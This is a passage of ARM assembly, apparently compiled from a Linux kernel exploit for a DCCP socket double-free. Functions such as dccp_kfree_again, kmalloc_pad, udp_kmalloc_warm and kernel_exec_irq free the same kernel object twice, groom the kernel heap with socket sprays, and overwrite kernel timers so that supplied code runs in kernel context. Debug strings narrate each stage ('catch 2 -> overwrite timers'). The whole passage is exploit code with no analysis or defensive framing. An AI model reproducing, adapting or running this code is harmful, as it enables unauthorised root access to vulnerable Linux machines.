	mov	r1, r2
	mov	r2, #28
	mov	r0, r3
	bl	bind
	str	r0, [fp, #-12]
	ldr	r3, [fp, #-12]
	cmp	r3, #0
	beq	.L10
	ldr	r0, .L16+12
	bl	perror
	mov	r0, #1
	bl	exit
.L10:
	ldr	r3, [fp, #-24]
	ldr	r3, [r3, #28]
	mov	r1, #9
	mov	r0, r3
	bl	listen
	str	r0, [fp, #-12]
	ldr	r3, [fp, #-12]
	cmp	r3, #0
	beq	.L11
	ldr	r0, .L16+16
	bl	perror
	mov	r0, #1
	bl	exit
.L11:
	mov	r3, #8
	str	r3, [fp, #-16]
	ldr	r3, [fp, #-24]
	ldr	r0, [r3, #28]
	sub	r3, fp, #16
	mov	r2, #4
	str	r2, [sp]
	mov	r2, #49
	mov	r1, #41
	bl	setsockopt
	str	r0, [fp, #-12]
	ldr	r3, [fp, #-12]
	cmp	r3, #0
	beq	.L12
	ldr	r0, .L16+20
	bl	perror
	mov	r0, #1
	bl	exit
.L12:
	mov	r2, #0
	mov	r1, #6
	mov	r0, #10
	bl	socket
	mov	r2, r0
	ldr	r3, [fp, #-24]
	str	r2, [r3, #32]
	ldr	r3, [fp, #-24]
	ldr	r3, [r3, #28]
	cmn	r3, #1
	bne	.L15
	ldr	r0, .L16+8
	bl	perror
	mov	r0, #1
	bl	exit
.L15:
	nop
	ldr	r3, .L16
	ldr	r2, [r3]
	ldr	r3, [fp, #-8]
	eors	r2, r3, r2
	mov	r3, #0
	beq	.L14
	bl	__stack_chk_fail
.L14:
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L17:
	.align	2
.L16:
	.word	.LC5
	.word	.LC0
	.word	.LC1
	.word	.LC2
	.word	.LC3
	.word	.LC4
	.size	dccp_init, .-dccp_init
	.section	.rodata
	.align	2
.LC6:
	.ascii	"connect(SOCK_DCCP)\000"
	.text
	.align	2
	.global	dccp_kmalloc_kfree
	.syntax unified
	.arm
	.fpu softvfp
	.type	dccp_kmalloc_kfree, %function
dccp_kmalloc_kfree:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #16
	str	r0, [fp, #-16]
	ldr	r3, [fp, #-16]
	ldr	r3, [r3, #32]
	ldr	r2, [fp, #-16]
	mov	r1, r2
	mov	r2, #28
	mov	r0, r3
	bl	connect
	str	r0, [fp, #-8]
	ldr	r3, [fp, #-8]
	cmp	r3, #0
	beq	.L20
	ldr	r0, .L21
	bl	perror
	mov	r0, #1
	bl	exit
.L20:
	nop
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L22:
	.align	2
.L21:
	.word	.LC6
	.size	dccp_kmalloc_kfree, .-dccp_kmalloc_kfree
	.section	.rodata
	.align	2
.LC7:
	.ascii	"shutdown(SOCK_DCCP)\000"
	.text
	.align	2
	.global	dccp_kfree_again
	.syntax unified
	.arm
	.fpu softvfp
	.type	dccp_kfree_again, %function
dccp_kfree_again:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #16
	str	r0, [fp, #-16]
	ldr	r3, [fp, #-16]
	ldr	r3, [r3, #28]
	mov	r1, #2
	mov	r0, r3
	bl	shutdown
	str	r0, [fp, #-8]
	ldr	r3, [fp, #-8]
	cmp	r3, #0
	beq	.L25
	ldr	r0, .L26
	bl	perror
	mov	r0, #1
	bl	exit
.L25:
	nop
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L27:
	.align	2
.L26:
	.word	.LC7
	.size	dccp_kfree_again, .-dccp_kfree_again
	.align	2
	.global	dccp_destroy
	.syntax unified
	.arm
	.fpu softvfp
	.type	dccp_destroy, %function
dccp_destroy:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	str	r0, [fp, #-8]
	ldr	r3, [fp, #-8]
	ldr	r3, [r3, #28]
	mov	r0, r3
	bl	close
	ldr	r3, [fp, #-8]
	ldr	r3, [r3, #32]
	mov	r0, r3
	bl	close
	nop
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
	.size	dccp_destroy, .-dccp_destroy
	.section	.rodata
	.align	2
.LC8:
	.ascii	"socketpair()\000"
	.text
	.align	2
	.global	udp_fifo_init
	.syntax unified
	.arm
	.fpu softvfp
	.type	udp_fifo_init, %function
udp_fifo_init:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #16
	str	r0, [fp, #-16]
	ldr	r3, [fp, #-16]
	mov	r2, #0
	mov	r1, #2
	mov	r0, #1
	bl	socketpair
	str	r0, [fp, #-8]
	ldr	r3, [fp, #-8]
	cmp	r3, #0
	beq	.L31
	ldr	r0, .L32
	bl	perror
	mov	r0, #1
	bl	exit
.L31:
	nop
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L33:
	.align	2
.L32:
	.word	.LC8
	.size	udp_fifo_init, .-udp_fifo_init
	.align	2
	.global	udp_fifo_destroy
	.syntax unified
	.arm
	.fpu softvfp
	.type	udp_fifo_destroy, %function
udp_fifo_destroy:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	str	r0, [fp, #-8]
	ldr	r3, [fp, #-8]
	ldr	r3, [r3]
	mov	r0, r3
	bl	close
	ldr	r3, [fp, #-8]
	ldr	r3, [r3, #4]
	mov	r0, r3
	bl	close
	nop
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
	.size	udp_fifo_destroy, .-udp_fifo_destroy
	.section	.rodata
	.align	2
.LC9:
	.ascii	"send()\000"
	.text
	.align	2
	.global	udp_fifo_kmalloc
	.syntax unified
	.arm
	.fpu softvfp
	.type	udp_fifo_kmalloc, %function
udp_fifo_kmalloc:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #16
	str	r0, [fp, #-16]
	str	r1, [fp, #-20]
	ldr	r3, [fp, #-16]
	ldr	r0, [r3]
	mov	r3, #0
	mov	r2, #1536
	ldr	r1, [fp, #-20]
	bl	send
	str	r0, [fp, #-8]
	ldr	r3, [fp, #-8]
	cmp	r3, #1536
	beq	.L37
	ldr	r0, .L38
	bl	perror
	mov	r0, #1
	bl	exit
.L37:
	nop
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L39:
	.align	2
.L38:
	.word	.LC9
	.size	udp_fifo_kmalloc, .-udp_fifo_kmalloc
	.section	.rodata
	.align	2
.LC10:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	udp_fifo_kmalloc_small
	.syntax unified
	.arm
	.fpu softvfp
	.type	udp_fifo_kmalloc_small, %function
udp_fifo_kmalloc_small:
	@ args = 0, pretend = 0, frame = 144
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #144
	str	r0, [fp, #-144]
	ldr	r3, .L44
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	ldr	r3, [fp, #-144]
	ldr	r0, [r3]
	sub	r1, fp, #136
	mov	r3, #0
	mov	r2, #128
	bl	send
	str	r0, [fp, #-140]
	ldr	r3, [fp, #-140]
	cmp	r3, #128
	beq	.L43
	ldr	r0, .L44+4
	bl	perror
	mov	r0, #1
	bl	exit
.L43:
	nop
	ldr	r3, .L44
	ldr	r2, [r3]
	ldr	r3, [fp, #-8]
	eors	r2, r3, r2
	mov	r3, #0
	beq	.L42
	bl	__stack_chk_fail
.L42:
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L45:
	.align	2
.L44:
	.word	.LC10
	.word	.LC9
	.size	udp_fifo_kmalloc_small, .-udp_fifo_kmalloc_small
	.section	.rodata
	.align	2
.LC11:
	.ascii	"recv()\000"
	.align	2
.LC12:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	udp_fifo_kfree
	.syntax unified
	.arm
	.fpu softvfp
	.type	udp_fifo_kfree, %function
udp_fifo_kfree:
	@ args = 0, pretend = 0, frame = 2064
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #2064
	str	r0, [fp, #-2064]
	ldr	r3, .L50
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	ldr	r3, [fp, #-2064]
	ldr	r0, [r3, #4]
	sub	r1, fp, #2048
	sub	r1, r1, #4
	sub	r1, r1, #4
	mov	r3, #0
	mov	r2, #1536
	bl	recv
	str	r0, [fp, #-2060]
	ldr	r3, [fp, #-2060]
	cmp	r3, #1536
	beq	.L49
	ldr	r0, .L50+4
	bl	perror
	mov	r0, #1
	bl	exit
.L49:
	nop
	ldr	r3, .L50
	ldr	r2, [r3]
	ldr	r3, [fp, #-8]
	eors	r2, r3, r2
	mov	r3, #0
	beq	.L48
	bl	__stack_chk_fail
.L48:
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L51:
	.align	2
.L50:
	.word	.LC12
	.word	.LC11
	.size	udp_fifo_kfree, .-udp_fifo_kfree
	.section	.rodata
	.align	2
.LC13:
	.ascii	"socket(SOCK_DGRAM)\000"
	.text
	.align	2
	.global	timer_kmalloc
	.syntax unified
	.arm
	.fpu softvfp
	.type	timer_kmalloc, %function
timer_kmalloc:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	ldr	r0, .L55
	bl	htons
	mov	r3, r0
	mov	r2, r3
	mov	r1, #2
	mov	r0, #17
	bl	socket
	str	r0, [fp, #-8]
	ldr	r3, [fp, #-8]
	cmn	r3, #1
	bne	.L53
	ldr	r0, .L55+4
	bl	perror
	mov	r0, #1
	bl	exit
.L53:
	ldr	r3, [fp, #-8]
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L56:
	.align	2
.L55:
	.word	2054
	.word	.LC13
	.size	timer_kmalloc, .-timer_kmalloc
	.section	.rodata
	.align	2
.LC14:
	.ascii	"setsockopt(PACKET_VERSION)\000"
	.align	2
.LC15:
	.ascii	"setsockopt(PACKET_RX_RING)\000"
	.align	2
.LC16:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	timer_schedule
	.syntax unified
	.arm
	.fpu softvfp
	.type	timer_schedule, %function
timer_schedule:
	@ args = 0, pretend = 0, frame = 48
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #56
	str	r0, [fp, #-48]
	str	r1, [fp, #-52]
	ldr	r3, .L62
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	mov	r3, #2
	str	r3, [fp, #-44]
	sub	r3, fp, #44
	mov	r2, #4
	str	r2, [sp]
	mov	r2, #10
	ldr	r1, .L62+4
	ldr	r0, [fp, #-48]
	bl	setsockopt
	str	r0, [fp, #-40]
	ldr	r3, [fp, #-40]
	cmp	r3, #0
	beq	.L58
	ldr	r0, .L62+8
	bl	perror
	mov	r0, #1
	bl	exit
.L58:
	sub	r3, fp, #36
	mov	r2, #28
	mov	r1, #0
	mov	r0, r3
	bl	memset
	bl	getpagesize
	mov	r3, r0
	str	r3, [fp, #-36]
	mov	r3, #1
	str	r3, [fp, #-32]
	bl	getpagesize
	mov	r3, r0
	str	r3, [fp, #-28]
	mov	r3, #1
	str	r3, [fp, #-24]
	ldr	r3, [fp, #-52]
	str	r3, [fp, #-20]
	sub	r3, fp, #36
	mov	r2, #28
	str	r2, [sp]
	mov	r2, #5
	ldr	r1, .L62+4
	ldr	r0, [fp, #-48]
	bl	setsockopt
	str	r0, [fp, #-40]
	ldr	r3, [fp, #-40]
	cmp	r3, #0
	beq	.L61
	ldr	r0, .L62+12
	bl	perror
	mov	r0, #1
	bl	exit
.L61:
	nop
	ldr	r3, .L62
	ldr	r2, [r3]
	ldr	r3, [fp, #-8]
	eors	r2, r3, r2
	mov	r3, #0
	beq	.L60
	bl	__stack_chk_fail
.L60:
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L63:
	.align	2
.L62:
	.word	.LC16
	.word	263
	.word	.LC14
	.word	.LC15
	.size	timer_schedule, .-timer_schedule
	.section	.rodata
	.align	2
.LC17:
	.ascii	"root\000"
	.align	2
.LC18:
	.ascii	"[-] sendmmsg()\000"
	.align	2
.LC19:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	socket_sendmmsg
	.syntax unified
	.arm
	.fpu softvfp
	.type	socket_sendmmsg, %function
socket_sendmmsg:
	@ args = 0, pretend = 0, frame = 48
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #56
	str	r0, [fp, #-48]
	str	r1, [fp, #-52]
	ldr	r3, .L68
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	mov	r3, #0
	str	r3, [fp, #-28]
	ldr	r3, [fp, #-52]
	str	r3, [fp, #-24]
	mov	r3, #2048
	str	r3, [fp, #-20]
	ldr	r3, .L68+4
	str	r3, [fp, #-40]
	mov	r3, #1
	str	r3, [fp, #-36]
	sub	r2, fp, #40
	mov	r3, #0
	str	r3, [sp]
	mov	r3, #1
	ldr	r1, [fp, #-48]
	ldr	r0, .L68+8
	bl	syscall
	str	r0, [fp, #-44]
	ldr	r3, [fp, #-44]
	cmn	r3, #1
	bne	.L67
	bl	__errno_location
	mov	r3, r0
	ldr	r3, [r3]
	cmp	r3, #22
	beq	.L67
	ldr	r0, .L68+12
	bl	perror
	mov	r0, #1
	bl	exit
.L67:
	nop
	ldr	r3, .L68
	ldr	r2, [r3]
	ldr	r3, [fp, #-8]
	eors	r2, r3, r2
	mov	r3, #0
	beq	.L66
	bl	__stack_chk_fail
.L66:
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L69:
	.align	2
.L68:
	.word	.LC19
	.word	.LC17
	.word	374
	.word	.LC18
	.size	socket_sendmmsg, .-socket_sendmmsg
	.section	.rodata
	.align	2
.LC20:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	sendmmsg_kmalloc_kfree
	.syntax unified
	.arm
	.fpu softvfp
	.type	sendmmsg_kmalloc_kfree, %function
sendmmsg_kmalloc_kfree:
	@ args = 0, pretend = 0, frame = 24
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #24
	str	r0, [fp, #-24]
	str	r1, [fp, #-28]
	ldr	r3, .L73
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	sub	r3, fp, #16
	mov	r2, #0
	mov	r1, #2
	mov	r0, #1
	bl	socketpair
	str	r0, [fp, #-20]
	ldr	r3, [fp, #-20]
	cmp	r3, #0
	beq	.L71
	ldr	r0, .L73+4
	bl	perror
	mov	r0, #1
	bl	exit
.L71:
	ldr	r3, [fp, #-16]
	ldr	r1, [fp, #-28]
	mov	r0, r3
	bl	socket_sendmmsg
	ldr	r3, [fp, #-16]
	mov	r0, r3
	bl	close
	nop
	ldr	r3, .L73
	ldr	r2, [r3]
	ldr	r3, [fp, #-8]
	eors	r2, r3, r2
	mov	r3, #0
	beq	.L72
	bl	__stack_chk_fail
.L72:
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L74:
	.align	2
.L73:
	.word	.LC20
	.word	.LC8
	.size	sendmmsg_kmalloc_kfree, .-sendmmsg_kmalloc_kfree
	.align	2
	.global	dccp_connect_pad
	.syntax unified
	.arm
	.fpu softvfp
	.type	dccp_connect_pad, %function
dccp_connect_pad:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #16
	str	r0, [fp, #-16]
	str	r1, [fp, #-20]
	ldr	r3, [fp, #-16]
	mov	r2, #10
	strh	r2, [r3]	@ movhi
	ldr	r3, [fp, #-20]
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	mov	r0, r3
	bl	htons
	mov	r3, r0
	mov	r2, r3
	ldr	r3, [fp, #-16]
	strh	r2, [r3, #2]	@ movhi
	ldr	r3, [fp, #-16]
	add	r3, r3, #8
	mov	r2, r3
	ldr	r1, .L82
	mov	r0, #10
	bl	inet_pton
	ldr	r3, [fp, #-16]
	mov	r2, #0
	str	r2, [r3, #4]
	ldr	r3, [fp, #-16]
	mov	r2, #0
	str	r2, [r3, #24]
	mov	r2, #0
	mov	r1, #6
	mov	r0, #10
	bl	socket
	mov	r2, r0
	ldr	r3, [fp, #-16]
	str	r2, [r3, #28]
	ldr	r3, [fp, #-16]
	ldr	r3, [r3, #28]
	cmn	r3, #1
	bne	.L76
	ldr	r0, .L82+4
	bl	perror
	mov	r0, #1
	bl	exit
.L76:
	ldr	r3, [fp, #-16]
	ldr	r3, [r3, #28]
	ldr	r2, [fp, #-16]
	mov	r1, r2
	mov	r2, #28
	mov	r0, r3
	bl	bind
	str	r0, [fp, #-8]
	ldr	r3, [fp, #-8]
	cmp	r3, #0
	beq	.L77
	ldr	r0, .L82+8
	bl	perror
	mov	r0, #1
	bl	exit
.L77:
	ldr	r3, [fp, #-16]
	ldr	r3, [r3, #28]
	mov	r1, #9
	mov	r0, r3
	bl	listen
	str	r0, [fp, #-8]
	ldr	r3, [fp, #-8]
	cmp	r3, #0
	beq	.L78
	ldr	r0, .L82+12
	bl	perror
	mov	r0, #1
	bl	exit
.L78:
	mov	r2, #0
	mov	r1, #6
	mov	r0, #10
	bl	socket
	mov	r2, r0
	ldr	r3, [fp, #-16]
	str	r2, [r3, #32]
	ldr	r3, [fp, #-16]
	ldr	r3, [r3, #28]
	cmn	r3, #1
	bne	.L79
	ldr	r0, .L82+4
	bl	perror
	mov	r0, #1
	bl	exit
.L79:
	ldr	r3, [fp, #-16]
	ldr	r3, [r3, #32]
	ldr	r2, [fp, #-16]
	mov	r1, r2
	mov	r2, #28
	mov	r0, r3
	bl	connect
	str	r0, [fp, #-8]
	ldr	r3, [fp, #-8]
	cmp	r3, #0
	beq	.L81
	ldr	r0, .L82+16
	bl	perror
	mov	r0, #1
	bl	exit
.L81:
	nop
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L83:
	.align	2
.L82:
	.word	.LC0
	.word	.LC1
	.word	.LC2
	.word	.LC3
	.word	.LC6
	.size	dccp_connect_pad, .-dccp_connect_pad
	.section	.rodata
	.align	2
.LC21:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	dccp_kmalloc_pad
	.syntax unified
	.arm
	.fpu softvfp
	.type	dccp_kmalloc_pad, %function
dccp_kmalloc_pad:
	@ args = 0, pretend = 0, frame = 48
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #48
	ldr	r3, .L88
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	mov	r3, #0
	str	r3, [fp, #-48]
	b	.L85
.L86:
	ldr	r3, .L88+4
	ldr	r3, [r3]
	add	r2, r3, #1
	ldr	r1, .L88+4
	str	r2, [r1]
	sub	r2, fp, #44
	mov	r1, r3
	mov	r0, r2
	bl	dccp_connect_pad
	ldr	r3, [fp, #-48]
	add	r3, r3, #1
	str	r3, [fp, #-48]
.L85:
	ldr	r3, [fp, #-48]
	cmp	r3, #3
	ble	.L86
	nop
	ldr	r3, .L88
	ldr	r2, [r3]
	ldr	r3, [fp, #-8]
	eors	r2, r3, r2
	mov	r3, #0
	beq	.L87
	bl	__stack_chk_fail
.L87:
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L89:
	.align	2
.L88:
	.word	.LC21
	.word	port
	.size	dccp_kmalloc_pad, .-dccp_kmalloc_pad
	.align	2
	.global	timer_kmalloc_pad
	.syntax unified
	.arm
	.fpu softvfp
	.type	timer_kmalloc_pad, %function
timer_kmalloc_pad:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	mov	r3, #0
	str	r3, [fp, #-8]
	b	.L91
.L92:
	ldr	r0, .L93
	bl	htons
	mov	r3, r0
	mov	r2, r3
	mov	r1, #2
	mov	r0, #17
	bl	socket
	ldr	r3, [fp, #-8]
	add	r3, r3, #1
	str	r3, [fp, #-8]
.L91:
	ldr	r3, [fp, #-8]
	cmp	r3, #3
	ble	.L92
	nop
	nop
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L94:
	.align	2
.L93:
	.word	2054
	.size	timer_kmalloc_pad, .-timer_kmalloc_pad
	.section	.rodata
	.align	2
.LC22:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	udp_kmalloc_pad
	.syntax unified
	.arm
	.fpu softvfp
	.type	udp_kmalloc_pad, %function
udp_kmalloc_pad:
	@ args = 0, pretend = 0, frame = 2192
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #2192
	ldr	r3, .L101
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	mov	r3, #0
	str	r3, [fp, #-2192]
	b	.L96
.L99:
	sub	r3, fp, #2176
	sub	r3, r3, #4
	sub	r3, r3, #4
	ldr	r2, [fp, #-2192]
	lsl	r2, r2, #3
	add	r3, r3, r2
	mov	r0, r3
	bl	udp_fifo_init
	mov	r3, #0
	str	r3, [fp, #-2188]
	b	.L97
.L98:
	sub	r3, fp, #2176
	sub	r3, r3, #4
	sub	r3, r3, #4
	ldr	r2, [fp, #-2192]
	lsl	r2, r2, #3
	add	r2, r3, r2
	sub	r3, fp, #2048
	sub	r3, r3, #4
	sub	r3, r3, #4
	mov	r1, r3
	mov	r0, r2
	bl	udp_fifo_kmalloc
	ldr	r3, [fp, #-2188]
	add	r3, r3, #1
	str	r3, [fp, #-2188]
.L97:
	ldr	r3, [fp, #-2188]
	cmp	r3, #15
	ble	.L98
	ldr	r3, [fp, #-2192]
	add	r3, r3, #1
	str	r3, [fp, #-2192]
.L96:
	ldr	r3, [fp, #-2192]
	cmp	r3, #7
	ble	.L99
	nop
	ldr	r3, .L101
	ldr	r2, [r3]
	ldr	r3, [fp, #-8]
	eors	r2, r3, r2
	mov	r3, #0
	beq	.L100
	bl	__stack_chk_fail
.L100:
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L102:
	.align	2
.L101:
	.word	.LC22
	.size	udp_kmalloc_pad, .-udp_kmalloc_pad
	.section	.rodata
	.align	2
.LC23:
	.ascii	"dccp kmalloc pad\000"
	.align	2
.LC24:
	.ascii	"timer kmalloc pad\000"
	.align	2
.LC25:
	.ascii	"udp kmalloc pad\000"
	.text
	.align	2
	.global	kmalloc_pad
	.syntax unified
	.arm
	.fpu softvfp
	.type	kmalloc_pad, %function
kmalloc_pad:
	@ args = 0, pretend = 0, frame = 0
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	ldr	r0, .L104
	bl	debug
	bl	dccp_kmalloc_pad
	ldr	r0, .L104+4
	bl	debug
	bl	timer_kmalloc_pad
	ldr	r0, .L104+8
	bl	debug
	bl	udp_kmalloc_pad
	nop
	pop	{fp, pc}
.L105:
	.align	2
.L104:
	.word	.LC23
	.word	.LC24
	.word	.LC25
	.size	kmalloc_pad, .-kmalloc_pad
	.section	.rodata
	.align	2
.LC26:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	udp_kmalloc_warm
	.syntax unified
	.arm
	.fpu softvfp
	.type	udp_kmalloc_warm, %function
udp_kmalloc_warm:
	@ args = 0, pretend = 0, frame = 2192
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #2192
	ldr	r3, .L116
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	mov	r3, #0
	str	r3, [fp, #-2192]
	b	.L107
.L110:
	sub	r3, fp, #2176
	sub	r3, r3, #4
	sub	r3, r3, #4
	ldr	r2, [fp, #-2192]
	lsl	r2, r2, #3
	add	r3, r3, r2
	mov	r0, r3
	bl	udp_fifo_init
	mov	r3, #0
	str	r3, [fp, #-2188]
	b	.L108
.L109:
	sub	r3, fp, #2176
	sub	r3, r3, #4
	sub	r3, r3, #4
	ldr	r2, [fp, #-2192]
	lsl	r2, r2, #3
	add	r2, r3, r2
	sub	r3, fp, #2048
	sub	r3, r3, #4
	sub	r3, r3, #4
	mov	r1, r3
	mov	r0, r2
	bl	udp_fifo_kmalloc
	ldr	r3, [fp, #-2188]
	add	r3, r3, #1
	str	r3, [fp, #-2188]
.L108:
	ldr	r3, [fp, #-2188]
	cmp	r3, #15
	ble	.L109
	ldr	r3, [fp, #-2192]
	add	r3, r3, #1
	str	r3, [fp, #-2192]
.L107:
	ldr	r3, [fp, #-2192]
	cmp	r3, #1
	ble	.L110
	mov	r3, #0
	str	r3, [fp, #-2192]
	b	.L111
.L114:
	mov	r3, #0
	str	r3, [fp, #-2188]
	b	.L112
.L113:
	sub	r3, fp, #2176
	sub	r3, r3, #4
	sub	r3, r3, #4
	ldr	r2, [fp, #-2192]
	lsl	r2, r2, #3
	add	r3, r3, r2
	mov	r0, r3
	bl	udp_fifo_kfree
	ldr	r3, [fp, #-2188]
	add	r3, r3, #1
	str	r3, [fp, #-2188]
.L112:
	ldr	r3, [fp, #-2188]
	cmp	r3, #15
	ble	.L113
	ldr	r3, [fp, #-2192]
	add	r3, r3, #1
	str	r3, [fp, #-2192]
.L111:
	ldr	r3, [fp, #-2192]
	cmp	r3, #1
	ble	.L114
	nop
	ldr	r3, .L116
	ldr	r2, [r3]
	ldr	r3, [fp, #-8]
	eors	r2, r3, r2
	mov	r3, #0
	beq	.L115
	bl	__stack_chk_fail
.L115:
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L117:
	.align	2
.L116:
	.word	.LC26
	.size	udp_kmalloc_warm, .-udp_kmalloc_warm
	.align	2
	.global	kmalloc_warm
	.syntax unified
	.arm
	.fpu softvfp
	.type	kmalloc_warm, %function
kmalloc_warm:
	@ args = 0, pretend = 0, frame = 0
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	bl	udp_kmalloc_warm
	nop
	pop	{fp, pc}
	.size	kmalloc_warm, .-kmalloc_warm
	.section	.rodata
	.align	2
.LC27:
	.ascii	"[.] scheduling %p(%p)\012\000"
	.align	2
.LC28:
	.ascii	"kmalloc pad\000"
	.align	2
.LC29:
	.ascii	"kmalloc warm\000"
	.align	2
.LC30:
	.ascii	"dccp init\000"
	.align	2
.LC31:
	.ascii	"dccp kmalloc kfree\000"
	.align	2
.LC32:
	.ascii	"catch 1\000"
	.align	2
.LC33:
	.ascii	"dccp kfree again\000"
	.align	2
.LC34:
	.ascii	"catch 2\000"
	.align	2
.LC35:
	.ascii	"catch 1 -> timer\000"
	.align	2
.LC36:
	.ascii	"catch 1 small\000"
	.align	2
.LC37:
	.ascii	"schedule timers\000"
	.align	2
.LC38:
	.ascii	"catch 2 -> overwrite timers\000"
	.align	2
.LC39:
	.ascii	"catch 2 small\000"
	.align	2
.LC40:
	.ascii	"[.] waiting for the timer to execute\000"
	.align	2
.LC41:
	.ascii	"wait\000"
	.align	2
.LC42:
	.ascii	"[.] done\000"
	.align	2
.LC43:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	kernel_exec_irq
	.syntax unified
	.arm
	.fpu softvfp
	.type	kernel_exec_irq, %function
kernel_exec_irq:
	@ args = 0, pretend = 0, frame = 4208
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #4160
	sub	sp, sp, #48
	sub	r3, fp, #4096
	sub	r3, r3, #4
	str	r0, [r3, #-108]
	sub	r3, fp, #4096
	sub	r3, r3, #4
	str	r1, [r3, #-112]
	ldr	r3, .L135
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	sub	r3, fp, #4096
	sub	r3, r3, #4
	ldr	r3, [r3, #-112]
	sub	r2, fp, #4096
	sub	r2, r2, #4
	mov	r1, r2
	mov	r2, r3
	ldr	r1, [r1, #-108]
	ldr	r0, .L135+4
	bl	printf
	sub	r3, fp, #4096
	sub	r3, r3, #4
	sub	r3, r3, #4
	mov	r2, #2048
	mov	r1, #195
	mov	r0, r3
	bl	memset
	sub	r3, fp, #4096
	sub	r3, r3, #4
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #4
	mov	r1, r3
	sub	r3, fp, #2048
	sub	r3, r3, #4
	sub	r3, r3, #4
	ldr	r2, [r2, #-112]
	ldr	r1, [r1, #-108]
	mov	r0, r3
	bl	init_timer_buffer
	sub	r3, fp, #4160
	sub	r3, r3, #4
	sub	r3, r3, #32
	mov	r0, r3
	bl	udp_fifo_init
	sub	r3, fp, #4160
	sub	r3, r3, #4
	sub	r3, r3, #24
	mov	r0, r3
	bl	udp_fifo_init
	sub	r3, fp, #4160
	sub	r3, r3, #4
	sub	r3, r3, #16
	mov	r0, r3
	bl	udp_fifo_init
	sub	r3, fp, #4160
	sub	r3, r3, #4
	sub	r3, r3, #8
	mov	r0, r3
	bl	udp_fifo_init
	ldr	r0, .L135+8
	bl	debug
	bl	kmalloc_pad
	ldr	r0, .L135+12
	bl	debug
